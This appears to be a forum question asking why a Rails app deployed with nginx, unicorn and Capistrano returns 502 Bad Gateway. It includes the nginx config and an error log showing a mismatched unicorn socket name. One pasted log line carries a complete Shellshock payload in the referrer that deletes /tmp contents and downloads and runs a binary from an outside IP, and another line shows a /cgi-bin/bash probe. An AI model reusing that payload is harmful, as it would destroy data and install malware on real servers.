title: 502 (Bad Gateway)
body: <p>After deploying my rails app successfully, I got a 502 (Bad Gateway) when I visited the ip. </p>
  
  <p>When I run </p>
  
  <pre><code>rails s -e production
  </code></pre>
  
  <p>The app works fine locally on production environment. And when I check my <strong>production.log</strong> I don't find any warning or errors. I'm lost on how I can track down the source of the problem.</p>
  
  <p>I'm using: ubuntu, nginx, capistrano, &amp; unicorn.</p>
  
  <p><strong>nginx.conf</strong></p>
  
  <pre><code>upstream unicorn {
    server unix:/tmp/unicorn.mysite.sock fail_timeout=0;
  }
  
  server {
    server_name dima;
    return 301 $scheme://mysite$request_uri;
  }
  
  server {
    listen 80 default deferred;
    server_name dima;  
    root /var/www/mysite/current/public; 
  
   location ^~ /assets/ {
      gzip_static on;
      expires max;
      add_header Cache-Control public;
    }
  
    try_files $uri/index.html $uri @unicorn;
    location @unicorn {
      proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
      proxy_set_header Host $http_host;
      proxy_redirect off;
      proxy_pass http://unicorn;
    }
  
    error_page 500 502 503 504 /500.html;
    keepalive_timeout 10;
  }
  </code></pre>
  
  <p><strong>nginx's error.log</strong></p>
  
  <pre><code>2015/05/12 14:06:52 [crit] 15290#0: *179 connect() to unix:/tmp/unicorn.testapp.sock failed (2: No such file or directory) while connecting to upstream, client: *.*.*.*, server: mysite, request: "GET /en HTTP/1.1", upstream: "http://unix:/tmp/unicorn.testapp.sock:/en", host: “*.*.*.*"
  
  2015/05/12 14:08:31 [crit] 15290#0: *183 connect() to unix:/tmp/unicorn.testapp.sock failed (2: No such file or directory) while connecting to upstream, client: *.*.*.*, server: mysite, request: "GET /en HTTP/1.1", upstream: "http://unix:/tmp/unicorn.testapp.sock:/en", host: “*.*.*.*"
  
  2015/05/12 14:09:21 [crit] 15290#0: *186 connect() to unix:/tmp/unicorn.testapp.sock failed (2: No such file or directory) while connecting to upstream, client: *.*.*.*, server: mysite, request: "GET /en HTTP/1.1", upstream: "http://unix:/tmp/unicorn.testapp.sock:/en", host: “*.*.*.*"
  
  2015/05/12 14:09:25 [crit] 15290#0: *186 connect() to unix:/tmp/unicorn.testapp.sock failed (2: No such file or directory) while connecting to upstream, client: *.*.*.*, server: mysite, request: "GET /ar HTTP/1.1", upstream: "http://unix:/tmp/unicorn.testapp.sock:/ar", host: “*.*.*.*"
  
  2015/05/12 14:09:28 [crit] 15290#0: *186 connect() to unix:/tmp/unicorn.testapp.sock failed (2: No such file or directory) while connecting to upstream, client: *.*.*.*, server: mysite, request: "GET / HTTP/1.1", upstream: "http://unix:/tmp/unicorn.testapp.sock:/", host: “*.*.*.*"
  
  2015/05/12 14:12:47 [crit] 15290#0: *191 connect() to unix:/tmp/unicorn.testapp.sock failed (2: No such file or directory) while connecting to upstream, client: *.*.*.*, server: mysite, request: "GET / HTTP/1.1", upstream: "http://unix:/tmp/unicorn.testapp.sock:/", host: “*.*.*.*"
  
  2015/05/12 14:12:58 [crit] 15290#0: *193 connect() to unix:/tmp/unicorn.testapp.sock failed (2: No such file or directory) while connecting to upstream, client: *.*.*.*, server: mysite, request: "GET / HTTP/1.1", upstream: "http://unix:/tmp/unicorn.testapp.sock:/", host: “*.*.*.*"
  
  2015/05/12 14:12:59 [crit] 15290#0: *193 connect() to unix:/tmp/unicorn.testapp.sock failed (2: No such file or directory) while connecting to upstream, client: *.*.*.*, server: mysite, request: "GET /en HTTP/1.1", upstream: "http://unix:/tmp/unicorn.testapp.sock:/en", host: “*.*.*.*"
  
  2015/05/12 14:13:05 [crit] 15290#0: *193 connect() to unix:/tmp/unicorn.testapp.sock failed (2: No such file or directory) while connecting to upstream, client: *.*.*.*, server: mysite, request: "GET /ar HTTP/1.1", upstream: "http://unix:/tmp/unicorn.testapp.sock:/ar", host: “*.*.*.*"
  
  2015/05/12 14:13:05 [crit] 15290#0: *196 connect() to unix:/tmp/unicorn.testapp.sock failed (2: No such file or directory) while connecting to upstream, client: *.*.*.*, server: mysite, request: "GET /ar HTTP/1.1", upstream: "http://unix:/tmp/unicorn.testapp.sock:/ar", host: “*.*.*.*"
  
  2015/05/12 14:13:30 [crit] 15290#0: *199 connect() to unix:/tmp/unicorn.testapp.sock failed (2: No such file or directory) while connecting to upstream, client: *.*.*.*, server: mysite, request: "GET /ar HTTP/1.1", upstream: "http://unix:/tmp/unicorn.testapp.sock:/ar", host: “*.*.*.*"
  
  2015/05/12 14:13:32 [crit] 15290#0: *199 connect() to unix:/tmp/unicorn.testapp.sock failed (2: No such file or directory) while connecting to upstream, client: *.*.*.*, server: mysite, request: "GET /ar HTTP/1.1", upstream: "http://unix:/tmp/unicorn.testapp.sock:/ar", host: “*.*.*.*"
  
  2015/05/12 14:14:15 [crit] 15290#0: *203 connect() to unix:/tmp/unicorn.testapp.sock failed (2: No such file or directory) while connecting to upstream, client: *.*.*.*, server: mysite, request: "GET /ar HTTP/1.1", upstream: "http://unix:/tmp/unicorn.testapp.sock:/ar", host: “*.*.*.*"
  
  2015/05/12 14:14:27 [crit] 15290#0: *206 connect() to unix:/tmp/unicorn.testapp.sock failed (2: No such file or directory) while connecting to upstream, client: *.*.*.*, server: mysite, request: "GET /ar HTTP/1.1", upstream: "http://unix:/tmp/unicorn.testapp.sock:/ar", host: “*.*.*.*"
  
  2015/05/12 14:15:22 [crit] 15290#0: *209 connect() to unix:/tmp/unicorn.testapp.sock failed (2: No such file or directory) while connecting to upstream, client: *.*.*.*, server: mysite, request: "GET /ar HTTP/1.1", upstream: "http://unix:/tmp/unicorn.testapp.sock:/ar", host: “*.*.*.*"
  
  2015/05/12 14:15:23 [crit] 15290#0: *209 connect() to unix:/tmp/unicorn.testapp.sock failed (2: No such file or directory) while connecting to upstream, client: *.*.*.*, server: mysite, request: "GET /ar HTTP/1.1", upstream: "http://unix:/tmp/unicorn.testapp.sock:/ar", host: “*.*.*.*"
  
  2015/05/12 14:15:29 [crit] 15290#0: *209 connect() to unix:/tmp/unicorn.testapp.sock failed (2: No such file or directory) while connecting to upstream, client: *.*.*.*, server: mysite, request: "GET /en HTTP/1.1", upstream: "http://unix:/tmp/unicorn.testapp.sock:/en", host: “*.*.*.*"
  
  2015/05/12 14:15:30 [crit] 15290#0: *209 connect() to unix:/tmp/unicorn.testapp.sock failed (2: No such file or directory) while connecting to upstream, client: *.*.*.*, server: mysite, request: "GET /en HTTP/1.1", upstream: "http://unix:/tmp/unicorn.testapp.sock:/en", host: “*.*.*.*"
  
  2015/05/12 14:15:32 [crit] 15290#0: *209 connect() to unix:/tmp/unicorn.testapp.sock failed (2: No such file or directory) while connecting to upstream, client: *.*.*.*, server: mysite, request: "GET / HTTP/1.1", upstream: "http://unix:/tmp/unicorn.testapp.sock:/", host: “*.*.*.*"
  
  2015/05/12 14:31:11 [crit] 15290#0: *216 connect() to unix:/tmp/unicorn.testapp.sock failed (2: No such file or directory) while connecting to upstream, client: *.*.*.*, server: mysite, request: "GET / HTTP/1.1", upstream: "http://unix:/tmp/unicorn.testapp.sock:/", host: “*.*.*.*"
  
  2015/05/12 14:44:59 [crit] 15290#0: *218 connect() to unix:/tmp/unicorn.testapp.sock failed (2: No such file or directory) while connecting to upstream, client: *.*.*.*, server: mysite, request: "GET / HTTP/1.1", upstream: "http://unix:/tmp/unicorn.testapp.sock:/", host: “*.*.*.*"
  
  2015/05/12 15:07:03 [crit] 15290#0: *221 connect() to unix:/tmp/unicorn.testapp.sock failed (2: No such file or directory) while connecting to upstream, client: *.*.*.*, server: mysite, request: "GET /cgi-bin/bash HTTP/1.1", upstream: "http://unix:/tmp/unicorn.testapp.sock:/cgi-bin/bash", host: “*.*.*.*"
  
  2015/05/12 15:43:44 [crit] 15290#0: *223 connect() to unix:/tmp/unicorn.testapp.sock failed (2: No such file or directory) while connecting to upstream, client: *.*.*.*, server: mysite, request: "GET / HTTP/1.1", upstream: "http://unix:/tmp/unicorn.testapp.sock:/", host: "*.*.*.*", referrer: "() { :; }; /bin/bash -c "rm -rf /tmp/*;echo wget http://182.92.184.208:8806/zou1 -O /tmp/China.Z-qmpz &gt;&gt; /tmp/Run.sh;echo echo By China.Z &gt;&gt; /tmp/Run.sh;echo chmod 777 /tmp/China.Z-qmpz &gt;&gt; /tmp/Run.sh;echo /tmp/China.Z-qmpz &gt;&gt; /tmp/Run.sh;echo rm -rf /tmp/Run.sh &gt;&gt; /tmp/Run.sh;chmod 777 /tmp/Run.sh;/tmp/Run.sh”"
  
  2015/05/12 16:10:04 [crit] 15290#0: *225 connect() to unix:/tmp/unicorn.testapp.sock failed (2: No such file or directory) while connecting to upstream, client: *.*.*.*, server: mysite, request: "GET /en HTTP/1.1", upstream: "http://unix:/tmp/unicorn.testapp.sock:/en", host: “*.*.*.*"
  
  2015/05/12 16:35:10 [crit] 15290#0: *229 connect() to unix:/tmp/unicorn.testapp.sock failed (2: No such file or directory) while connecting to upstream, client: *.*.*.*, server: mysite, request: "GET /en HTTP/1.1", upstream: "http://unix:/tmp/unicorn.testapp.sock:/en", host: "*.*.*.*"
  </code></pre>
  
  <p>I'm confused, why is the name of it is <em>'unicorn.testapp.sock'</em>. I checked the init script for unicorn in /etc/init.d/ and it's: unicorn_mysite. And under /tmp I have unicorn.mysite.sock</p>
  
  <p>Thank you.</p>